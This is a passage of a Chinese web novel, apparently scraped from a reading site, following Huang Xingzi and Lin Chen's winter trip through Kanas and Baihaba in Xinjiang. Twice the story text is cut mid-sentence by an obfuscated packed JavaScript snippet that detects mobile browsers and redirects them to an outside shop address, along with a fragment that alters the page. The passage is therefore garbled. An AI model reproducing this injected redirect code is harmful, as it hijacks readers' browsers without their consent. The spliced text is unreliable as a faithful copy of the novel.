黄杏子走近湖边,伸出一只手去触碰,只有冰得刺骨的湖水让她确信这一切是那么真实,如此美丽如此热烈。 眼眶有些热热的。她不再是那个被困在精神枷锁里的囚徒,她自由了。 蔺忱蹲在她身侧,垂着手拨动着湖水,见她眼睛红红地看过来,怔了一下,玩笑道:“要不要借你个肩膀靠靠?”他这辈子就学不会在她面前好好说话。 “不用。”黄杏子瞥开眼睛站起身,“我不过是有些感慨,我的生活大变样了,这样的生活是我以前想都不敢想的。” 大学毕业怀着憧憬进入梦中情司,她拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“帮我合张影。”黄杏子把手机递给蔺忱,出门在外,遇见即有缘,都值得记录。 蔺忱给她照完翻转镜头也要来一张,“我们也合一张。” 黄杏子微顿,深深地看了他一眼,配合,“来吧,认识那么久了,没一张合照说不过去。” 黄杏子拿出了她塞在包里的手机支架,打算正正经经拍一张像样的合照,这或许是他们唯一会拥有的一张单独合照。 空气冷得她打颤,蔺忱的手熟稔地搭在她的肩膀上,手心的暖意顺着肩膀传递到她的心窝。 喀纳斯河缓缓地在后面流,天蓝得像玻璃,升腾的雾气被阳光照亮了,橘黄橘黄的。快门在倒计时来临时落下,定格住两人略显拘谨的笑容。 照片照完之后黄杏子看着照片笑了好久,“这啥?绞在一起的小手?笑得好假啊你。” 蔺忱被她的描述恶寒了一下,“我一大老爷们儿,好久没跟异性单独拍照,拘谨点儿怎么了?非要说那么恶心。” “你笑得也挺假的,活像别人欠了你五百块钱,平时那笑得跟不要钱似的。” 黄杏子:“我也拘谨。”两人一齐哈哈大笑起来。 鼻尖忽然飘过一丝凉意,她下意识拿手去接,“下雪了?” 蔺忱抬头看了眼天,也摊开手掌,“是雪。” “天气预报不是说今天不下雪,明天才开始下吗?” 蔺忱看了她一眼,说了句令人摸不着头脑的话,“阿勒泰的雪都是不讲道理的,想来就来想走就走。” 黄杏子知道他意有所指,嘟了下唇,扬声接上他的话,“倒也没那么阴晴不定,至少有时候它还是会停留的。” 坦白来讲,出来闯荡世界,她本就是不该为谁停留的,可却是有那么一瞬间她那颗为自由而生的心酥麻了一下,为即将到来的离别感到有些酸楚。 在旅途中离别是一件轻松的事,你遇到一个人,短暂地认识、获得快乐,然后离别,回到各自的生活轨道上。 一段旅途上会遇到许许多多的人,他们在你的人生中短暂停留,给你带来不同的体验,萍水相逢其实就那么简单。 黄杏子从来都是一个直接的人,敢于直面问题并且迅速解决,然而现在,却有些想要退缩了。 她早就意识到自己对蔺忱的喜欢,所以纵容自己一次又一次沉沦天性。她还知道蔺忱也对她有那么一点感觉,或许他们会在一起,倘若不是在这种情况下认识的话。 玻璃窗外下着雪,他们在车内拥抱着接吻,听着彼此动情的喘息声,谁也没有率先分开,窗外的一切动静都与他们无关。 不知过了多久,黄杏子动了动,蔺忱才把她放开。 “过几天西伯利亚寒潮过境,暴雪不知道什么时候来,你早点走吧。”蔺忱膝盖一撑,从后座退出来,说,“不然到时候想走都走不了。” 黄杏子看了眼天气预报,手机顶部正好跳出气象局发布的寒潮橙色预警,说是五天后全疆将迎来气温大幅骤降以及强风暴雪天气,请在疆旅客早日撤离。 “暴雪天气你们一般怎么过的?”她问。 “待在家里哪儿都去不了,外面很冷,没人想出去遭罪。” “很冷是有多冷?” “降个十几度呗,鼻涕流出来冻成冰柱子,打开门被风扇巴掌。”蔺忱随口答,说着说着也笑出来,“我刚来的时候有一次亲自试验了一下,太特么酸爽了!” “要不你留下来,亲自感受一下?”一般治完就主动跪了。 黄杏子噗嗤笑出声,双手果断交叉,“谢邀,我没那个受虐倾向。” 她算着日子,得出结论,“没事,来得及,用不着改签。” 蔺忱回到驾驶座,他可是提醒了啊,若是真提前来了他俩就真不用走了。 17. 喀纳斯 中午吃的是当地人推荐的家常菜,听说老板是广东人,刚来新疆的时候水土不服,于是融合新疆本地资源,自创了一套菜系。 时隔那么久吃到第一口家常菜,黄杏子感动得眼泪都要流出来了,嘴里的菜还没咽完,直呼“好香好香”。 蔺忱没有说话但嘴里也没停下过,这个时候几个从前不受待见的素菜消得比什么都快。 两个人狼吞虎咽活像是没吃过饭似的,尽管蔬菜不新鲜,都是秋天的时候冷冻保存的,但是在这个资源短缺的地方,不新鲜又怎样呢。 黄杏子还故意戏谑:“你不是不吃芹菜吗?” 蔺忱用余光睨她,“呵呵”两声,“用词严谨一点,是不喜欢吃,不是不吃。” 今天不着急赶路,吃完饭,黄杏子本想查查附近有没有什么可以逛的小店,问了餐馆的服务员,服务员摇摇头,“这附近没有,要开去老村或者禾木才有。” 正好还要回一趟民宿取车,两人便当即决定驱车回老村。 先去超市采购物资,矿泉水、泡面、零食饮料……有蔺忱爱吃的黑巧和黄杏子爱喝的咖啡,她还买了些卫生巾备用着。 蔺忱丢了只手套,结账完出来的时候黄杏子问他怎么不买,蔺忱嘴唇动了动,“太丑。” 黄杏子:…… 确实挺丑的。 她挑了挑,拿了双还算看得过去的给他算上,“忍忍吧,等手冻成萝卜就不是只有手套丑了。” 工艺品店里黄杏子看上两顶民族风的帽子,一顶设计简约,缝制高级,另一顶比较繁复精致一点,挂着垂下的金属配饰,她轮流试戴着让蔺忱帮忙选。 蔺忱看了看,别说,她还挺适合戴这种风格的帽子,帽子色彩鲜艳明亮,衬得她气色很好,朝气蓬勃,像个十八九岁的小姑娘。 “我倾向这一顶。”他指了指戴头上叮铃咣啷会晃的那一顶,头顶灯光照得它流光溢彩。 黄杏子左看右看,还是难以抉择,“可是那一顶更百搭一点……” 蔺忱一锤定音:“那就都买。” “不用了,就选一顶吧。”黄杏子不好意思让他破费,想从他手里拿回来,抬眸却撞进他有些哀求的眼神,这是她第一次看见他露出这种情绪,胸腔仿佛被挤压着,有些喘不过气。 “最后一次。”他垂着眸,语气却坚持。 黄杏子站在商品架前挑了一顶男士的,招手让他低头,“礼尚往来,那你也不能拒绝。” “行,黄老板大气。”蔺忱知道她的性子,唇角微微勾了下,爽快低头弯腰让她帮忙戴上。 黄杏子仔细打量着,拍手,“还不错,就这个了!” 结账的时候清点价钱,黄杏子问老板这些帽子分别多少钱,老板指着帽子,“这个三百六,那两个两百八。” 眼见黄杏子正要调出二维码付钱了,蔺忱连忙拉住她,“三顶帽子一起,五百卖不卖?” 老板眼睛一斜,打包的动作顿住,“最少八百,都是我老婆手工缝制的,这个价格绝对不亏的。” 蔺忱眉头一皱,佯装不耐,“算了算了,我们走吧。” 黄杏子立马反应过来,酝酿着语气扮演角色,“老板,再便宜点儿吧,这个价格我们确实有点接受不了。” “那你们开个价嘛。” 蔺忱向外走的脚步顿住,他扭头,“五百五。” “五百五不行撒,成本价都亏出去了,这样吧,看你们这么喜欢,700块钱拿去,不能再低了。”老板说。 黄杏子:“七百还是太贵了,我们再逛逛吧,谢谢老板。” 老板的声音从后面传来,“哎别走嘛,三个六百块钱给你们带走,不能再低了,不然我老婆回去要骂我的嘞!” 黄杏子立马喜笑颜开,“好好好,谢谢老板,祝您生意兴隆!” 她用胳膊肘顶了顶蔺忱,蔺忱蹙在一起的眉头舒缓,也露出满意的笑。 黄杏子手里拎着袋子高高兴兴走出店里,“你还挺会演戏哦。” 蔺忱瞧着她那不要钱的高兴样儿,唇角弧度更大了些,“人傻钱多。” 黄杏子斜眼瞪他,蔺忱却没看出多少生气的痕迹,她高兴的时候眼睛不会说谎,强调的时候也没什么信服力,“我是钱多,但我不傻。” 蔺忱想,这和强调自己不是小偷有什么区别? 逛了一圈手工艺品店,黄杏子一时没控制住购物欲,买了好几样饰品和摆件,东西都在蔺忱手里拿着,她手里空空,莫名有些不好意思,于是问他:“你有没有什么想买的?” 蔺忱物欲低,家里也不缺东西,他摇头,“没有。” “那这个给你了。”黄杏子从他手里拿过商品袋,翻翻找找拿了一个茶杯垫出来,“放在家里也能用。” “谢谢。”蔺忱这会儿倒是客气上了,揣到包里在她的注视下收好。 路过一家咖啡店,玻璃门隔绝了风雪,两人进去点了两杯咖啡和甜点,坐在窗边。 这趟旅途极少有时间慢下来享受生活,以至于当他们面对面在店里坐下来,悠闲地品尝咖啡甜点,却恍然有种在城市的错觉。 甜味渐渐蔓延整个口腔,淡淡的满足感也随之占满她的胸腔。然而这种满足感很快叠加了些许空落,变得不纯粹起来。 黄杏子托着下巴编辑完今天的朋友圈,刷了会儿朋友圈,试图麻痹这种感受,对面的蔺忱视线聚焦在窗外,没在看手机。 她被表姐分享的视频逗笑,蔺忱望过来,黄杏子也分了一半屏幕的余地给他看,“我的狗。” “我刚开始工作的时候在路边捡到它,身上有很严重的皮肤病,估计是别人弃养的,现在养在我表姐家里,它可厉害了。” 蔺忱看着手机屏幕,是一只黑白相间的边牧,表姐的女儿小糖豆儿拿着飞盘和它玩儿,飞盘出去的那一瞬间,边牧瞬间跳起来,身体腾空向后翻了个跟头。 蔺忱眼睛瞪着,“卧槽”了一声,“你这狗有前途啊,滑雪的好苗子。” 气氛重新活络了起来,蔺忱说他曾经也养了一条狗,后来因为训练的关系没办法照顾它,只好找了一个领养家庭把它送走了。 黄杏子岔开话题,“你那个蛋糕好吃吗?” “还可以,你尝尝看。”说着,蔺忱把蛋糕盘子推到她面前,黄杏子挖了一块。 她细细回味着,“感觉比我们那边的口感要更绵密一点儿,奶香味也更浓。” “新疆的牛奶嘛,奶的品质好。”蔺忱笑着。 在咖啡店待了将近半个小时,等雪小一点儿了,喝掉最后一口冷掉的咖啡,两人冒着雪回到车里。 蔺忱启动发动机,边擦着车窗上的水雾边在对讲机里问她,“喀纳斯湖还去吗?” 黄杏子的声音从对讲机里传来,“去!怎么不去,不是说有个什么观景台,可以俯瞰整个喀纳斯湖。” “观鱼台。” “嗯对,就是那个。” - 景区里有卖明信片的,还提供邮寄服务,黄杏子直接走不动道儿了,围在人群后面探头探脑,她一直有收集各地明信片的癖好。 蔺忱被黄杏子拉进来凑热闹,女人眸光清亮,“我们互相给对方写明信片怎么样?都不许看对方的,然后寄给对方。” 蔺忱说好,他也很好奇黄杏子会写什么。 黄杏子洋洋洒洒写满了整个版面,蔺 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马夫是个热络的本地大叔,热络到有些聒噪,但事实证明在这么寒冷的地带,为了缓解孤冷环境带来的寂寞,只能用繁密的话来打发时间了。 上山的路很冷,尽管包裹得很严实,眼睛周围的皮肤还是被料峭的寒风吹得泛红,马儿沉默地走着,好似早已习惯了这种寒冷。 在冬天骑马实在算不上什么好的体验,漫长的时间被分割成难耐的分秒,屁股颠得生疼,如果可以,黄杏子一秒钟都不想在上面待着。 她扭头看了看蔺忱,做了个口型,蔺忱会意地挤了挤眼,露出同样的表情。 但好在世间还有那么多可以聊的话题,缓解着寒冷带来的孤独。 马夫聊他定居前的游牧生活,黄杏子聊她在城市里工作的生活趣事,蔺忱呢,聊滑雪场里的故事。 天空灰蒙蒙的,视野范围之内只有寂寥的白色,走久了瞳孔有些涣散。 “这段路程需要多久?”黄杏子问。 “一个半小时左右。”马夫答。 黄杏子只记得他们聊了很久很久、很多话题,身上已经没有一处暖和的地方了,终于看到了那个在雪中鹤立鸡群的观鱼台。 雪后起雾,木栈道蜿蜒而上,台阶上铺着厚厚的积雪,那抹木色半遮半掩隐匿在苍茫的天色之中,与雾凇交相辉映。 蔺忱拉着她的手走上最后一段栈道,时不时提醒:“脚下小心。” 脚下的台阶踩起来不太好走,雪陷下去,脚也会跟着陷下去,更何况刚刚从马上下来,哪儿哪儿都麻,身子骨跟散架了似的。 蔺忱拽了她一把,“还行吗?” 黄杏子喘着气,搭着扶手休息,“我可以。” 蔺忱正要蹲下身让她上来,黄杏子连忙摆摆手,“不行,太危险了,我真行,就是平常锻炼少了。”她觉得肯定是昨晚没有节制的缘故,都怪蔺忱。 “去白哈巴是不是要办边防证?” “到那边能办。” 黄杏子“嗯”了声,别的不说,尽管有时候看起来不正经,但蔺忱总是能给人很靠谱的安心感。 爬到上面才发现观鱼台上空无一人,偌大的两层平台只有他们两个人的声音,甚至方圆几百米之外,除了牵着马的马夫,就再也没有什么人的气息了。 黄杏子感叹着说他们要是在这里干了什么也没有人会知道,蔺忱唇角抽了抽,一脸欲言又止。 黄杏子一巴掌呼他背上,没好气道:“你干脆叫黄忱好了。” 蔺忱乐了,“怎么?夫随妇姓?” 黄杏子又是一巴掌,“谁特么跟你乐呢,帮我拍照!” 18. 白哈巴 下过雪的原因,空气中能见度不高,河谷中蜿蜒的河流结冰,像一片平铺的白纸,两人等了很久,最终也没等来云雾散开。 说不失望是假的,但是黄杏子还是挺高兴的,旅游的时候天气就是开盲盒,运气有好有坏,至少痛快地体验了一把三个小时的骑马。 下山的时候有了经验,黄杏子总结出了一套小技巧,调整了身体的节奏,略微显得有些游刃有余了。 “花钱找罪受。”蔺忱自嘲。 黄杏子抓着缰绳,音调上扬“嗯”了一声,“你登雪山不也是在花钱找罪受,人的天性啊,喜欢犯贱。” “不犯贱的人生有劲儿吗?”蔺忱笑得大声,“没劲儿啊,有什么想做的就要去做,没有什么东西会专门等着你,遗憾不就是这么来的吗。” “对!”这句话黄杏子特别赞同。 没有什么是一成不变的,冰川会消融,河水会干涸,人会老,心态会变,到了那个时候,人还是那个人,却再也找不到从前的那种渴望了。 傍晚终于抵达了白哈巴,肚子叫嚣着,为消耗了太多能量抗议,掐着饭点,两人赶上了白哈巴的第一顿晚饭。 黄杏子也觉得奇怪,从前也没那么能吃,怎么到新疆来就每天都盼着吃饭呢。后来她想想,可能是因为这里的冬天虽美,但太寂寞了,似乎只有吃饭的时候才有聚在一起的温暖。 火锅料一下,香气扑鼻,味蕾被食物的美味勾起,舟车的寒冷和疲惫一扫而空。 蔺忱接到了肖玉理的视频通话,视频一接通,肖玉理看见她还挺意外的,“哟,你也在啊,你们还在外面玩儿?” 黄杏子挑了挑眉,“是啊,今天刚到白哈巴。” 蔺忱反转屏幕,用镜头怼着面前的火锅,“在吃火锅,意思意思,给你尝一口。” 说到这个肖玉理就很后悔,他怎么就没有在新疆再多待半天呢,至少吃一顿好的啊。 黄杏子则更直接,三百六十度来了一个精细展示,“来,吃口,解解馋。” 肖玉理:“……”他真是服了,一个被窝能睡出什么好东西。 “常老托我问你一声,国青队正在重金聘请教练,你有没有兴趣回来做?”肖玉理没忘了正事儿,“不好意思啊蔺哥,我嘴巴大,给你添麻烦了。” 常老当初对他们都挺好,尤其青睐蔺忱,无论蔺忱答应还是不答应,这个面子还是得给。 肖玉理补充:“你别有心理压力啊,我拒绝回去就是一句话的事。” “没事。”蔺忱语气温和,听不出喜怒,“我暂时没那个考虑。” “欸好。”肖玉理应声,“那你们吃啊,我就不当二位的电灯泡了。” 嘴里正喝着汤,噗嗤一下笑出来,黄杏子抽了张纸擦了擦嘴巴,刚想说什么,肖玉理已经把电话挂了。 从火锅店里出来,漫步在布满云层的天空下,白哈巴村比禾木还要更安静一些,灯影阑珊,没一会儿便抵达了他们订的民宿。 “什么东西窜过去了?”黄杏子吓了一跳。 一个白色的影子一晃而过,凝神看清才发现是一只萨摩耶,她一伸手,那团雪白就立马奔过来蹭她的手,让人爱不释手。 黄杏子环顾着四周,“这是谁家的狗呀?” 蔺忱也伸手摸了摸它拱来拱去的脑袋,“店主家的吧。” 然而这一家还不止一只,不知从哪儿的树林里接连又跑出来好几只狗,追逐着打闹。 黄杏子喜欢狗,动物缘从小就好,手里攥了点儿没吃完的面包,小狗们全围在她身旁雀跃地摇尾巴。 黄杏子招架不住,捻了一小块儿往狗群里丢去,逃到远处,她跑,狗狗也跟在她后面跑,老鹰捉小鸡似的,绕了老大一圈。人和狗在雪地里狂奔,满林子都是她爽朗的笑声。 蔺忱看着黄杏子冲他的方向跑过来,刚要张开双臂勉为其难帮她避个难,怀里就被塞了一个东西,还没反应过来,被狗追的就成了他。 再看这姑娘,把自己撇的远远的,见他望过来,露出一个幸灾乐祸的笑。 “……”蔺忱递了一个“你给我等着”的眼神,怀里的面包一并扔给它们,面包只剩一点点,几秒钟的时间一抢而空。 蔺忱退一步,狗就向前填满缝隙,尾巴摇得跟螺旋桨一样。蔺忱又是摊手又是转圈,费了老大工夫才让它们相信他手里已经没有面包了。 黄杏子蹲在一旁撸狗,见状刚想站起身跑,蔺忱胳膊肘一横,就把人轻轻松松锁在身边,“还有力气跑呢。” 她脖子怕痒,两只手去抠他的胳膊,笑得上气不接下气,“错了错了,我真不是故意的。” 蔺忱松了松力道,逼问:“错哪儿了?” 黄杏子不说,只是一个劲儿地笑,像是被戳中了什么笑点,左右摆着头,很快她就笑不出声了,蔺忱堵住了她的唇舌。 黄杏子挣扎开,他就再吻上来,语气恶狠狠的,“你不说我就亲死你,亲到你说为止。”不知是哪里学来的流氓行径。 黄杏子两只手都被他攥着,动弹不得,两人贴得很近,她一抬眸就能看见蔺忱长得离谱的睫毛。她心一痒,轻轻吹了口气。 蔺忱眼睫微微有些痒,猝不及防受了刺激,下意识颤了颤,“你干什么?” 黄杏子张口就来,“有灰,帮你吹吹。” 蔺忱望进她的眼睛,心鼓缓慢而沉重地敲着,想从中看出点什么,可她眼里只有纯粹的好奇。 黄杏子适时挣脱,在职场上养成的习惯,她太会伪装,也太会隐藏,不会轻易把自己的情绪暴露在别人面前。 她手放在他发顶揉了揉,这也是只小狗呢,需要人安慰。 “今晚观星指数不错,有机会看到银河。”蔺忱突然出声。 黄杏子“啊?”了一声,看了看天又看了看蔺忱,“你确定?” 天上全是密布的云,没有一丝一毫的缝隙,她再没有这方面的知识,也知道需要万里无云才能看到星星。 事实上蔺忱也吃不准,这软件有时候挺鸡肋的,能不能看到银河这件事全靠碰运气,“卫星云图是这么显示的,准不准另说,这种事情就是赌呗。” “赌狗。” 蔺忱表示认同:“一生赌狗。” 两人在房间里敞着窗帘等云散开,夜色渐浓,云层却仍然没有要散开的意思。 蔺忱教黄杏子看各种数据,“……在满足地域硬性条件之外,天空无云,银心升起,没有月光的干扰这三个是必要条件。” 屋里暖气足,他说得口干舌燥,拿起水喝了一口,“办法交给你了,那么你来看看哪个时间段是观星的最好时机。” 黄杏子想了想,“银心升起的时间上午九点左右,晚上八点左右就落下了,也就是说我们根本观测不到银心。” 蔺忱点了点头,“但能看到银河条带,冬季本来就不是北半球观测银河的最佳季节,会比较黯淡。” 蔺忱给她看夏季的时候他带队拍的银河,“这就是银心,人马座和天蝎座之间最亮的部分。” 黄杏子的第一反应是好美,第二反应就是:“这是原图直出?” “后期调过一点,肉眼和这张照片上的差不多。”蔺忱翻着照片。 “这两个,哪个是牛郎星织女星?”黄杏子几乎一眼就看到了隔着银河条带最亮的两颗星。 蔺忱指给她看,说左边这颗是牛郎星,右边这颗是织女星,黄杏子问他要理由,蔺忱说直觉,“看多了就知道哪个是哪个了。” 黄杏子搜出来的结果和他说的一样,织女星位置最高,它的东南方向是牛郎星,两个星星错落地隔着一条银河带。 “只要光污染少,银河都是肉眼可见的。” 半夜十一点,云层终于开始散开,露出深蓝的底色。 黄杏子等得快睡着了,天空才破开一角,她推了推蔺忱,眉眼困倦,“你看着啊,我先去眯一会儿。” 蔺忱递过来一瓶酒精饮料,“喝点儿就不困了。” 黄杏子敷衍地喝了一口,便还给他,“有了把我叫醒。” 再次醒来是凌晨十二点多,黄杏子眯着眼睛问他几点了,蔺忱说十二点三十,闻言她一个鲤鱼打挺坐起来,她睡了这么久吗。 大半云层已经散开,取而代之的是微弱的星点。再过了一会儿,星点愈发的夺目。 黄杏子下床喝了口水润润喉,看了看天,说:“感觉有希望。” 蔺忱笑她说话太严谨,言语间浓重的笑意蔓延开,“按照我这么多年带队的经验来看,希望还是蛮大的。” “那颗最亮的看见没?那就是木星。” 小学中学课本上的行星在出现在肉眼面前的时候,黄杏子有些恍惚,内心不断涌现出“那就是木星吗”的询问。 教育的意义总是具有滞后性的,这些用得到用不到的知识会随着认知的增长,源源不断地在之后的生活中渗透。 黄杏子试图用手机去拍,根据网上的教程开了长曝光,然而画面抖成一片,她有些沮丧,“拍不出来。” 蔺忱瞥了一眼她的亮起的屏幕,“手机不行,还是得相机。” 她翻出自己的二手相机,“我那个可以吗?” “够用。” 调完参数,两人找了个柱子作支撑,静静等待三十秒后,一张照片产生了。 黄杏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816874|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子凑过来看,“还不错!还是有点糊。” 蔺忱缩放着照片,上面的“星点”看着不是很清晰,他指给黄杏子看,“噪点比较多,这没办法。” 之后又连拍了好几张,外面太冷了,相机表面也冰凉冰凉的,怕给它冻死机了,黄杏子心疼地抱紧在怀里,“再等等吧,等星星再多一点。” 蔺忱好笑,“这么宝贝?” “我身上最贵的东西,我摔了它都不能摔。”黄杏子一脸“那当然”的表情,毕竟花了她快两个月的工资呢。 又过了半个多小时,终于等到云全部散去,肉眼能看清那条淡淡的银河条带,即便没那么耀眼,漫天的星空还是令人感到十分震撼。 这比从前在城市周边的山上看见的星空美多了,尤其是那条银色的丝带,就这么不可思议地高高地挂在无边的黑里。 黄杏子不知道是第几次感叹太美了,转头对蔺忱说话,语气酸唧唧的,“我有点羡慕你了,在这种地方工作。” 蔺忱哈哈笑了两声,“那宣传片怎么说的来着,多来光顾我们大美新疆。” 两人研究了半天相机,拍出来的效果还是有些差强人意,黄杏子倒是无所谓了,反正肉眼见过了,用相机拍下来只是方便回忆而已,她很确信,这不会是她最后一次来新疆。 黄杏子在遥远的天空之下找到了那棵孤独树,走过一片很大的雪地,来到它的身边。 思维变得更加开阔,眼前的景象完全超出了她的想象,纵使有再多形容词都汇成了一句“卧槽好美”,地球上居然能美成这样。 天地一分为二,除了脚下的雪地,就是布满星星、无止境的夜空了,枝桠伸展的枯树仿佛一个使者,长久地立在那里。它是这漫长黑夜里星星们唯一的朋友。 蔺忱此刻也心潮澎湃,久违的新鲜感令他感到兴奋,他得感谢黄杏子,她总能注意到生活中的小确幸,告诉他多感知美好,生活也会变得更加美好。 他尝到了一点甜头,觉得还不错。 蔺忱喜滋滋地想着,黄杏子这一点和他非常的像,想做什么就会立马计划去做,执行力满分,他就喜欢这样的。 “太特么疯了,不过我喜欢!” 黄杏子回应:“我也喜欢!等我干不动了,我就在这里盖一幢小木屋安度晚年!” 蔺忱笑道:“我到时候在你隔壁造一幢,我给你做邻居要不要?” 黄杏子突然张开双手跑起来,“谁稀罕!” 蔺忱抬眸看见那一幕,心弦被触动,苍穹之下奔跑是多么浪漫的事,那一刻所有星星仿佛都穿过她的臂弯,拥抱着她。 嘿,这隔壁他住定了! 于是蔺忱大肆奔跑起来。什么狗屁的忧郁烦恼,通通被抛在脑后,被绝对的自由吞噬。 蔺忱和黄杏子把所有能穿的衣服都往身上穿,光羽绒服就套了两条,所以他们根本就不怕冷,思维活跃得像刚从石头里蹦出来的一样。 他们却不敢大声说话,怕扰了这安宁。 黄杏子率先在雪地上坐了下来,没料到她突然坐下来,蔺忱刹不住车,被她故意伸出的脚一绊,在地上翻滚了一圈才急急停下。 他阴恻恻道:“底盘低就是丝滑啊。” “底盘高也不见得灵活。”黄杏子白他一眼,仰头看着星空。 两人都不说话了,这么美的地方是不会有人想打开话匣子的,他们都想长久地看着,享受天地间难得的宁静。 宁静的过后心底一些隐秘的情绪也不知不觉地浮上来,压抑在鼻底,片刻汹涌地拍打着他,蔺忱感觉眼睛有点酸。 他微微仰头看着天,有些话想说,但又没法说出来,这种感觉太憋屈了。冲动在一瞬间涌上来,被理智压了下去,轻轻呼出一口气,没有必要。 喜欢是他一个人的事,他也不希望黄杏子为他改变计划,他会良心受谴。现在的状态就是最好的。 黄杏子似乎也看出了他的难过,把玩着手上搓成一团的雪球,放进他手里,“我其实一直想和你说一声谢谢,这段时间我很开心。” 蔺忱耸拉着的眼皮动了动,“开心就好。” 他仰头看看辽阔的天,垂下头,“希望我们之后都不会被万事万物绊住。”以后的路再顺畅一点吧,黄杏子。 这话说到黄杏子心坎里去了,她也真诚地把这句话送给蔺忱,“会的,我们都会的。”蔺忱,我们的未来都敞亮着呢。 他有他的信仰,她有她是事业,爱情,是最微不足道的一环。 他们相遇在那么一个不太恰当的时候,老天的精力只够提供机会让两个迷茫的人拉彼此一把,那就顺其自然,剩下的路他们自己走。